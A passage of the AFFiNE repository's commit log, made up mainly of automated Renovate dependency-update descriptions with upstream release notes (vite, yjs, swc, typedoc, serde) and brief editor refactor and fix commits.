-   fix(css): resolve style tags in HTML files correctly for lightningcss ([#&#8203;19001](https://redirect.github.com/vitejs/vite/issues/19001)) ([afff05c](https://redirect.github.com/vitejs/vite/commit/afff05c03266fc76d5ab8928215c89f5992f40f8)), closes [#&#8203;19001](https://redirect.github.com/vitejs/vite/issues/19001)
-   fix(css): show correct error when unknown placeholder is used for CSS modules pattern in lightningcs ([9290d85](https://redirect.github.com/vitejs/vite/commit/9290d85b5d2ad64991bd296157cb3bcb959c341d)), closes [#&#8203;19070](https://redirect.github.com/vitejs/vite/issues/19070)
-   fix(resolve): handle package.json with UTF-8 BOM ([#&#8203;19000](https://redirect.github.com/vitejs/vite/issues/19000)) ([902567a](https://redirect.github.com/vitejs/vite/commit/902567ac5327e915ce65d090045fa4922ef9f2b5)), closes [#&#8203;19000](https://redirect.github.com/vitejs/vite/issues/19000)
-   fix(ssrTransform): preserve line offset when transforming imports ([#&#8203;19004](https://redirect.github.com/vitejs/vite/issues/19004)) ([1aa434e](https://redirect.github.com/vitejs/vite/commit/1aa434e8017012bf0939b2ff1a3a66b4bd12b76d)), closes [#&#8203;19004](https://redirect.github.com/vitejs/vite/issues/19004)
-   chore: fix typo in comment ([#&#8203;19067](https://redirect.github.com/vitejs/vite/issues/19067)) ([eb06ec3](https://redirect.github.com/vitejs/vite/commit/eb06ec30bb02ced66274f0fc6e90aff2bb20c632)), closes [#&#8203;19067](https://redirect.github.com/vitejs/vite/issues/19067)
-   chore: update comment about `build.target` ([#&#8203;19047](https://redirect.github.com/vitejs/vite/issues/19047)) ([0e9e81f](https://redirect.github.com/vitejs/vite/commit/0e9e81f622f13d78ee238c0fa72ba920e23419f4)), closes [#&#8203;19047](https://redirect.github.com/vitejs/vite/issues/19047)
-   revert: unpin esbuild version ([#&#8203;19043](https://redirect.github.com/vitejs/vite/issues/19043)) ([8bfe247](https://redirect.github.com/vitejs/vite/commit/8bfe247511517c631a26f3931bb3c93a7b0b7446)), closes [#&#8203;19043](https://redirect.github.com/vitejs/vite/issues/19043)
-   test(ssr): test virtual module with query ([#&#8203;19044](https://redirect.github.com/vitejs/vite/issues/19044)) ([a1f4b46](https://redirect.github.com/vitejs/vite/commit/a1f4b46896cb4b442b54a8336db8eca6df9ee02d)), closes [#&#8203;19044](https://redirect.github.com/vitejs/vite/issues/19044)

</details>

<details>
<summary>yarnpkg/berry (yarn)</summary>

### [`v4.6.0`](https://redirect.github.com/yarnpkg/berry/compare/2fe7d635e8eb163c1b3e56ab76e652b6bae8c160...1871484db82161065ac437d4df59bc8a4f94a33e)

[Compare Source](https://redirect.github.com/yarnpkg/berry/compare/2fe7d635e8eb163c1b3e56ab76e652b6bae8c160...1871484db82161065ac437d4df59bc8a4f94a33e)

</details>

<details>
<summary>yjs/yjs (yjs)</summary>

### [`v13.6.21`](https://redirect.github.com/yjs/yjs/releases/tag/v13.6.21)

[Compare Source](https://redirect.github.com/yjs/yjs/compare/v13.6.20...v13.6.21)

-   fix [#&#8203;657](https://redirect.github.com/yjs/yjs/issues/657) - relative positions issue when using followUndoneDeletions=false  [`f583d2a`](https://redirect.github.com/yjs/yjs/commit/f583d2a2)
-   lint  [`1b0f2e5`](https://redirect.github.com/yjs/yjs/commit/1b0f2e54)
-   add nodejs specific tests  [`4404d09`](https://redirect.github.com/yjs/yjs/commit/4404d090)
-   Merge pull request [#&#8203;679](https://redirect.github.com/yjs/yjs/issues/679) from hoangqwe159/main  [`d4d4ae5`](https://redirect.github.com/yjs/yjs/commit/d4d4ae5f)
-   Add PSPDFKit binding to README.md  [`4ffd370`](https://redirect.github.com/yjs/yjs/commit/4ffd3709)
-   Merge pull request [#&#8203;676](https://redirect.github.com/yjs/yjs/issues/676) from himself65/patch-1  [`0419b74`](https://redirect.github.com/yjs/yjs/commit/0419b743)
-   add Open Collaboration Tools as a user  [`c951f2b`](https://redirect.github.com/yjs/yjs/commit/c951f2b7)
-   docs: remove `@toeverything/y-indexeddb`  [`4e2d3c8`](https://redirect.github.com/yjs/yjs/commit/4e2d3c8a)
-   update readme  [`8dc1296`](https://redirect.github.com/yjs/yjs/commit/8dc1296a)
-   add stars to providers that sponsor yjs  [`4329997`](https://redirect.github.com/yjs/yjs/commit/43299973)
-   Merge pull request [#&#8203;671](https://redirect.github.com/yjs/yjs/issues/671) from carlossantos74/main  [`2b7ea8a`](https://redirect.github.com/yjs/yjs/commit/2b7ea8a2)
-   add SuperViz Provider in yjs README  [`4f47355`](https://redirect.github.com/yjs/yjs/commit/4f473558)
-   \[funding.json] fix some validation issues  [`6074f80`](https://redirect.github.com/yjs/yjs/commit/6074f802)
-   fix errors in funding.json  [`42bbb44`](https://redirect.github.com/yjs/yjs/commit/42bbb44b)
-   add funding.json  [`cc2d732`](https://redirect.github.com/yjs/yjs/commit/cc2d7320)
-   add y-crdt elexir bindings  [`e804dd7`](https://redirect.github.com/yjs/yjs/commit/e804dd75)

### [`v13.6.20`](https://redirect.github.com/yjs/yjs/releases/tag/v13.6.20)

[Compare Source](https://redirect.github.com/yjs/yjs/compare/v13.6.19...v13.6.20)

-   lint  [`487465d`](https://redirect.github.com/yjs/yjs/commit/487465d7)
-   add yjs-inspector  [`345fd31`](https://redirect.github.com/yjs/yjs/commit/345fd31b)
-   add devtools  [`4ff65b5`](https://redirect.github.com/yjs/yjs/commit/4ff65b5d)
-   \[[#&#8203;667](https://redirect.github.com/yjs/yjs/issues/667)] sanity checks for Yjs caveats. In dev_mode, objects inserted into Yjs can't be manipulated.  [`8152cf8`](https://redirect.github.com/yjs/yjs/commit/8152cf81)
-   [#&#8203;667](https://redirect.github.com/yjs/yjs/issues/667) - add sanity messages when data is read before type is added to a document.  [`3bf44b9`](https://redirect.github.com/yjs/yjs/commit/3bf44b98)
-   Y.Array.length should be 0 before it is integrated - [#&#8203;666](https://redirect.github.com/yjs/yjs/issues/666)  [`8cd1a48`](https://redirect.github.com/yjs/yjs/commit/8cd1a482)
-   Merge pull request [#&#8203;665](https://redirect.github.com/yjs/yjs/issues/665) from batchor/main  [`9e9f294`](https://redirect.github.com/yjs/yjs/commit/9e9f2940)
-   add ScienHub as a user.  [`4fb7789`](https://redirect.github.com/yjs/yjs/commit/4fb7789c)
-   add ScienHub as a user.  [`c1ef9a1`](https://redirect.github.com/yjs/yjs/commit/c1ef9a12)

### [`v13.6.19`](https://redirect.github.com/yjs/yjs/releases/tag/v13.6.19)

[Compare Source](https://redirect.github.com/yjs/yjs/compare/v13.6.18...v13.6.19)

-   add `ydoc.isDestroyed` property  [`f604250`](https://redirect.github.com/yjs/yjs/commit/f604250f)
-   add eclipse theia as a user  [`7422b18`](https://redirect.github.com/yjs/yjs/commit/7422b18e)
-   add secsync  [`95e2bc4`](https://redirect.github.com/yjs/yjs/commit/95e2bc44)
-   add kanbert as a user  [`f2ff8b9`](https://redirect.github.com/yjs/yjs/commit/f2ff8b95)
-   Merge pull request [#&#8203;664](https://redirect.github.com/yjs/yjs/issues/664) from jul13579/add-qdacity-to-readme  [`3f9bfe4`](https://redirect.github.com/yjs/yjs/commit/3f9bfe42)
-   Add QDAcity to `README.md`  [`5b4d2a6`](https://redirect.github.com/yjs/yjs/commit/5b4d2a6b)
-   fix new lint issues  [`44e5108`](https://redirect.github.com/yjs/yjs/commit/44e51080)
-   update markdownlint  [`dd17228`](https://redirect.github.com/yjs/yjs/commit/dd17228a)
-   lint readme  [`eeb4c99`](https://redirect.github.com/yjs/yjs/commit/eeb4c996)
-   Merge pull request [#&#8203;660](https://redirect.github.com/yjs/yjs/issues/660) from mtreinik/main  [`56d5e32`](https://redirect.github.com/yjs/yjs/commit/56d5e328)
-   Remove erroneous ymap.get(index:number) from API docs  [`294c6a1`](https://redirect.github.com/yjs/yjs/commit/294c6a15)
-   Add Y.Array.from() and yarray.clone() to API docs  [`c944a45`](https://redirect.github.com/yjs/yjs/commit/c944a455)
-   update users  [`f29cd2b`](https://redirect.github.com/yjs/yjs/commit/f29cd2ba)
-   Merge pull request [#&#8203;651](https://redirect.github.com/yjs/yjs/issues/651) from nikgraf/patch-2  [`384ec4d`](https://redirect.github.com/yjs/yjs/commit/384ec4db)
-   add react-yjs to bindings  [`5e19c35`](https://redirect.github.com/yjs/yjs/commit/5e19c354)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS44MC4wIiwidXBkYXRlZEluVmVyIjoiMzkuODUuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-30 07:07:54 +00:00
pengx17 ea6fed127b fix(editor): tooltip styles when having span tags (#9422)
fix AF-2040
2024-12-30 06:54:03 +00:00
Saul-Mirone e3b6841944 refactor(editor): reorg block specs (#9421) 2024-12-30 05:59:25 +00:00
pengx17 87331b49b7 docs(core): clarify developing server docs (#9420) 2024-12-30 03:51:59 +00:00
fundon b9f2650369 feat(editor): store real color values in edgeless (#9254)
### What's Changed!

* adds theme type: `ThemeSchema`
* adds default theme: `DefaultTheme`
* stores real color values
2024-12-30 03:36:35 +00:00
fundon a5641ae608 feat(editor): update edgeless color palette (#9243)
Closes: [BS-1475](https://linear.app/affine-design/issue/BS-1475/颜色主题更新) [BS-1803](https://linear.app/affine-design/issue/BS-1803/fill-color色板影响的yuan素) [BS-1804](https://linear.app/affine-design/issue/BS-1804/border-color色板影响的yuan素) [BS-1815](https://linear.app/affine-design/issue/BS-1815/连线文字配色略瞎)

### What's Changed

* refactor `EdgelessLineWidthPanel` component, the previous width is fixed and cannot be used in the new design
* refactor `EdgelessColorPanel` and `EdgelessColorButton` components, make them simple and reusable
* delete redundant `EdgelessOneRowColorPanel` component
* unity and update color palette, if the previously set color is not in the latest color palette, the custom color button will be selected
2024-12-30 03:36:34 +00:00
Saul-Mirone 6b1865ff92 fix(editor): prevent errors from isStrictUrl (#9419)
Closes: [BS-2277](https://linear.app/affine-design/issue/BS-2277/typeerror-failed-to-construct-url-invalid-url)
2024-12-30 02:45:59 +00:00
darkskygit e630290e7c fix(server): cluster metrics duplicate (#9416) 2024-12-30 02:25:01 +00:00
Saul-Mirone cec4a4b2c0 refactor(editor): extract drag handle widget (#9415) 2024-12-29 06:51:48 +00:00
Saul-Mirone b96a03b283 refactor(editor): remote selection widget (#9408) 2024-12-28 08:47:09 +00:00
Saul-Mirone 1e4b1807be refactor(editor): query methods in edgeless api (#9407) 2024-12-28 07:48:41 +00:00
Saul-Mirone dc92d78895 refactor(editor): remove re-exports (#9406) 2024-12-28 06:51:41 +00:00
renovate 1deed602c8 chore: bump up all non-major dependencies (#9249)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence | Type | Update |
|---|---|---|---|---|---|---|---|
| [@swc/core](https://swc.rs) ([source](https://redirect.github.com/swc-project/swc)) | [`1.10.1` -> `1.10.3`](https://renovatebot.com/diffs/npm/@swc%2fcore/1.10.1/1.10.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@swc%2fcore/1.10.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@swc%2fcore/1.10.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@swc%2fcore/1.10.1/1.10.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@swc%2fcore/1.10.1/1.10.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@toeverything/theme](https://redirect.github.com/toeverything/design) | [`1.1.2` -> `1.1.3`](https://renovatebot.com/diffs/npm/@toeverything%2ftheme/1.1.2/1.1.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@toeverything%2ftheme/1.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@toeverything%2ftheme/1.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@toeverything%2ftheme/1.1.2/1.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@toeverything%2ftheme/1.1.2/1.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| @&#8203;types/dompurify | [`3.0.5` -> `3.2.0`](https://renovatebot.com/diffs/npm/@types%2fdompurify/3.0.5/3.2.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fdompurify/3.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fdompurify/3.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fdompurify/3.0.5/3.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fdompurify/3.0.5/3.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [Lakr233/MSDisplayLink](https://redirect.github.com/Lakr233/MSDisplayLink) | `from: "1.1.0"` -> `from: "1.1.1"` | [![age](https://developer.mend.io/api/mc/badges/age/git-tags/https:%2f%2fgithub.com%2fLakr233%2fMSDisplayLink/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/git-tags/https:%2f%2fgithub.com%2fLakr233%2fMSDisplayLink/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/git-tags/https:%2f%2fgithub.com%2fLakr233%2fMSDisplayLink/1.1.0/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/git-tags/https:%2f%2fgithub.com%2fLakr233%2fMSDisplayLink/1.1.0/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |  | patch |
| [Lakr233/SpringInterpolation](https://redirect.github.com/Lakr233/SpringInterpolation) | `from: "1.1.0"` -> `from: "1.3.0"` | [![age](https://developer.mend.io/api/mc/badges/age/git-tags/https:%2f%2fgithub.com%2fLakr233%2fSpringInterpolation/1.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/git-tags/https:%2f%2fgithub.com%2fLakr233%2fSpringInterpolation/1.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/git-tags/https:%2f%2fgithub.com%2fLakr233%2fSpringInterpolation/1.1.0/1.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/git-tags/https:%2f%2fgithub.com%2fLakr233%2fSpringInterpolation/1.1.0/1.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |  | minor |
| [happy-dom](https://redirect.github.com/capricorn86/happy-dom) | [`16.0.0` -> `16.0.1`](https://renovatebot.com/diffs/npm/happy-dom/16.0.0/16.0.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/happy-dom/16.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/happy-dom/16.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/happy-dom/16.0.0/16.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/happy-dom/16.0.0/16.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [html-validate](https://html-validate.org) ([source](https://gitlab.com/html-validate/html-validate)) | [`9.0.1` -> `9.1.0`](https://renovatebot.com/diffs/npm/html-validate/9.0.1/9.1.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/html-validate/9.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/html-validate/9.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/html-validate/9.0.1/9.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/html-validate/9.0.1/9.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [serde](https://serde.rs) ([source](https://redirect.github.com/serde-rs/serde)) | `1.0.216` -> `1.0.217` | [![age](https://developer.mend.io/api/mc/badges/age/crate/serde/1.0.217?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/serde/1.0.217?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/serde/1.0.216/1.0.217?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/serde/1.0.216/1.0.217?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | patch |
| [swr](https://swr.vercel.app) ([source](https://redirect.github.com/vercel/swr)) | [`2.2.5` -> `2.3.0`](https://renovatebot.com/diffs/npm/swr/2.2.5/2.3.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/swr/2.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/swr/2.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/swr/2.2.5/2.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/swr/2.2.5/2.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [typedoc](https://typedoc.org) ([source](https://redirect.github.com/TypeStrong/TypeDoc)) | [`0.27.5` -> `0.27.6`](https://renovatebot.com/diffs/npm/typedoc/0.27.5/0.27.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/typedoc/0.27.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/typedoc/0.27.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/typedoc/0.27.5/0.27.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/typedoc/0.27.5/0.27.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [vite](https://vite.dev) ([source](https://redirect.github.com/vitejs/vite/tree/HEAD/packages/vite)) | [`6.0.5` -> `6.0.6`](https://renovatebot.com/diffs/npm/vite/6.0.5/6.0.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/vite/6.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/vite/6.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/vite/6.0.5/6.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/vite/6.0.5/6.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | resolutions | patch |
| [yjs](https://docs.yjs.dev) ([source](https://redirect.github.com/yjs/yjs)) | [`13.6.18` -> `13.6.21`](https://renovatebot.com/diffs/npm/yjs/13.6.18/13.6.21) | [![age](https://developer.mend.io/api/mc/badges/age/npm/yjs/13.6.21?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/yjs/13.6.21?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/yjs/13.6.18/13.6.21?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/yjs/13.6.18/13.6.21?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |

---

### Release Notes

<details>
<summary>swc-project/swc (@&#8203;swc/core)</summary>

### [`v1.10.3`](https://redirect.github.com/swc-project/swc/blob/HEAD/CHANGELOG.md#1103---2024-12-27)

[Compare Source](https://redirect.github.com/swc-project/swc/compare/v1.10.2...v1.10.3)

##### Bug Fixes

-   **(es/codegen)** Emit semicolon after using declarations ([#&#8203;9816](https://redirect.github.com/swc-project/swc/issues/9816)) ([556d924](https://redirect.github.com/swc-project/swc/commit/556d924cf53c2d3a7577bbfbb2b467d41834c23e))

### [`v1.10.2`](https://redirect.github.com/swc-project/swc/blob/HEAD/CHANGELOG.md#1102---2024-12-26)

[Compare Source](https://redirect.github.com/swc-project/swc/compare/v1.10.1...v1.10.2)

##### Bug Fixes

-   **(es)** Don't panic when wasm bytecheck faild ([#&#8203;9803](https://redirect.github.com/swc-project/swc/issues/9803)) ([c81be2e](https://redirect.github.com/swc-project/swc/commit/c81be2ee2818106387d9c9f5d7ee553c6678e18f))

-   **(es/parser)** Do not parse empty stmt after using decl ([#&#8203;9798](https://redirect.github.com/swc-project/swc/issues/9798)) ([c2696db](https://redirect.github.com/swc-project/swc/commit/c2696db528fc98187c5c5f7413bd9daac7d6c1b6))

##### Documentation

-   **(types)** Fix broken links ([#&#8203;9812](https://redirect.github.com/swc-project/swc/issues/9812)) ([7768114](https://redirect.github.com/swc-project/swc/commit/7768114451c7070c8eeb5faa8ca93f4b63661141))

</details>

<details>
<summary>toeverything/design (@&#8203;toeverything/theme)</summary>

### [`v1.1.3`](https://redirect.github.com/toeverything/design/compare/1.1.2...1.1.3)

[Compare Source](https://redirect.github.com/toeverything/design/compare/1.1.2...1.1.3)

</details>

<details>
<summary>Lakr233/MSDisplayLink (Lakr233/MSDisplayLink)</summary>

### [`v1.1.1`](https://redirect.github.com/Lakr233/MSDisplayLink/compare/1.1.0...1.1.1)

[Compare Source](https://redirect.github.com/Lakr233/MSDisplayLink/compare/1.1.0...1.1.1)

</details>

<details>
<summary>Lakr233/SpringInterpolation (Lakr233/SpringInterpolation)</summary>

### [`v1.3.0`](https://redirect.github.com/Lakr233/SpringInterpolation/compare/1.2.2...1.3.0)

[Compare Source](https://redirect.github.com/Lakr233/SpringInterpolation/compare/1.2.2...1.3.0)

### [`v1.2.2`](https://redirect.github.com/Lakr233/SpringInterpolation/compare/1.2.1...1.2.2)

[Compare Source](https://redirect.github.com/Lakr233/SpringInterpolation/compare/1.2.1...1.2.2)

### [`v1.2.1`](https://redirect.github.com/Lakr233/SpringInterpolation/compare/1.2.0...1.2.1)

[Compare Source](https://redirect.github.com/Lakr233/SpringInterpolation/compare/1.2.0...1.2.1)

### [`v1.2.0`](https://redirect.github.com/Lakr233/SpringInterpolation/compare/1.1.2...1.2.0)

[Compare Source](https://redirect.github.com/Lakr233/SpringInterpolation/compare/1.1.2...1.2.0)

### [`v1.1.2`](https://redirect.github.com/Lakr233/SpringInterpolation/compare/1.1.1...1.1.2)

[Compare Source](https://redirect.github.com/Lakr233/SpringInterpolation/compare/1.1.1...1.1.2)

### [`v1.1.1`](https://redirect.github.com/Lakr233/SpringInterpolation/compare/1.1.0...1.1.1)

[Compare Source](https://redirect.github.com/Lakr233/SpringInterpolation/compare/1.1.0...1.1.1)

</details>

<details>
<summary>capricorn86/happy-dom (happy-dom)</summary>

### [`v16.0.1`](https://redirect.github.com/capricorn86/happy-dom/compare/v16.0.0...2df1cc47f46695602f1b21a6d868fa9ee8a2277d)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.0.0...v16.0.1)

</details>

<details>
<summary>html-validate/html-validate (html-validate)</summary>

### [`v9.1.0`](https://gitlab.com/html-validate/html-validate/blob/HEAD/CHANGELOG.md#910-2024-12-25)

[Compare Source](https://gitlab.com/html-validate/html-validate/compare/v9.0.1...v9.1.0)

##### Features

-   **deps:** update dependency ignore to v7 ([43ae9ac](https://gitlab.com/html-validate/html-validate/commit/43ae9ac76c9d03733c4044272aeba069bad206b0))

##### Bug Fixes

-   use jest worker for `toMatchCodeframe` ([3c29ad5](https://gitlab.com/html-validate/html-validate/commit/3c29ad5e74ef8eede7755c4169ed1085f5167e87))

</details>

<details>
<summary>serde-rs/serde (serde)</summary>

### [`v1.0.217`](https://redirect.github.com/serde-rs/serde/releases/tag/v1.0.217)

[Compare Source](https://redirect.github.com/serde-rs/serde/compare/v1.0.216...v1.0.217)

-   Support serializing externally tagged unit variant inside flattened field ([#&#8203;2786](https://redirect.github.com/serde-rs/serde/issues/2786), thanks [@&#8203;Mingun](https://redirect.github.com/Mingun))

</details>

<details>
<summary>vercel/swr (swr)</summary>

### [`v2.3.0`](https://redirect.github.com/vercel/swr/compare/v2.2.5...v2.3.0)

[Compare Source](https://redirect.github.com/vercel/swr/compare/v2.2.5...v2.3.0)

</details>

<details>
<summary>TypeStrong/TypeDoc (typedoc)</summary>

### [`v0.27.6`](https://redirect.github.com/TypeStrong/TypeDoc/blob/HEAD/CHANGELOG.md#v0276-2024-12-26)

[Compare Source](https://redirect.github.com/TypeStrong/TypeDoc/compare/v0.27.5...v0.27.6)

##### Features

-   Added `ignoredHighlightLanguages` option to specify languages which will be
    allowed in code blocks but not highlighted, [#&#8203;2819](https://redirect.github.com/TypeStrong/TypeDoc/issues/2819).

##### Bug Fixes

-   `@include` and `@includeCode` now work in the readme file, [#&#8203;2814](https://redirect.github.com/TypeStrong/TypeDoc/issues/2814).
-   TypeDoc will now avoid making references to references, [#&#8203;2811](https://redirect.github.com/TypeStrong/TypeDoc/issues/2811).
-   Fixed output specific option specification, [#&#8203;2818](https://redirect.github.com/TypeStrong/TypeDoc/issues/2818).
-   Improved type reference conversion to avoid including defaulted type arguments, [#&#8203;2820](https://redirect.github.com/TypeStrong/TypeDoc/issues/2820).
-   Fixed parsing of declaration references which include a module and a local reference, [#&#8203;2810](https://redirect.github.com/TypeStrong/TypeDoc/issues/2810).
-   Improved link resolution logic to prioritize type alias properties with the
    same symbol over type literal properties within function parameters.

</details>

<details>
<summary>vitejs/vite (vite)</summary>

### [`v6.0.6`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small606-2024-12-26-small)

[Compare Source](https://redirect.github.com/vitejs/vite/compare/v6.0.5...v6.0.6)

-   fix: replace runner-side path normalization with `fetchModule`-side resolve ([#&#8203;18361](https://redirect.github.com/vitejs/vite/issues/18361)) ([9f10261](https://redirect.github.com/vitejs/vite/commit/9f10261e7609098b832fd0fb23a64840b3a0d1a0)), closes [#&#8203;18361](https://redirect.github.com/vitejs/vite/issues/18361)
-   fix(css): resolve style tags in HTML files correctly for lightningcss ([#&#8203;19001](https://redirect.github.com/vitejs/vite/issues/19001)) ([afff05c](https://redirect.github.com/vitejs/vite/commit/afff05c03266fc76d5ab8928215c89f5992f40f8)), closes [#&#8203;19001](https://redirect.github.com/vitejs/vite/issues/19001)
-   fix(css): show correct error when unknown placeholder is used for CSS modules pattern in lightningcs ([9290d85](https://redirect.github.com/vitejs/vite/commit/9290d85b5d2ad64991bd296157cb3bcb959c341d)), closes [#&#8203;19070](https://redirect.github.com/vitejs/vite/issues/19070)
-   fix(resolve): handle package.json with UTF-8 BOM ([#&#8203;19000](https://redirect.github.com/vitejs/vite/issues/19000)) ([902567a](https://redirect.github.com/vitejs/vite/commit/902567ac5327e915ce65d090045fa4922ef9f2b5)), closes [#&#8203;19000](https://redirect.github.com/vitejs/vite/issues/19000)
-   fix(ssrTransform): preserve line offset when transforming imports ([#&#8203;19004](https://redirect.github.com/vitejs/vite/issues/19004)) ([1aa434e](https://redirect.github.com/vitejs/vite/commit/1aa434e8017012bf0939b2ff1a3a66b4bd12b76d)), closes [#&#8203;19004](https://redirect.github.com/vitejs/vite/issues/19004)
-   chore: fix typo in comment ([#&#8203;19067](https://redirect.github.com/vitejs/vite/issues/19067)) ([eb06ec3](https://redirect.github.com/vitejs/vite/commit/eb06ec30bb02ced66274f0fc6e90aff2bb20c632)), closes [#&#8203;19067](https://redirect.github.com/vitejs/vite/issues/19067)
-   chore: update comment about `build.target` ([#&#8203;19047](https://redirect.github.com/vitejs/vite/issues/19047)) ([0e9e81f](https://redirect.github.com/vitejs/vite/commit/0e9e81f622f13d78ee238c0fa72ba920e23419f4)), closes [#&#8203;19047](https://redirect.github.com/vitejs/vite/issues/19047)
-   revert: unpin esbuild version ([#&#8203;19043](https://redirect.github.com/vitejs/vite/issues/19043)) ([8bfe247](https://redirect.github.com/vitejs/vite/commit/8bfe247511517c631a26f3931bb3c93a7b0b7446)), closes [#&#8203;19043](https://redirect.github.com/vitejs/vite/issues/19043)
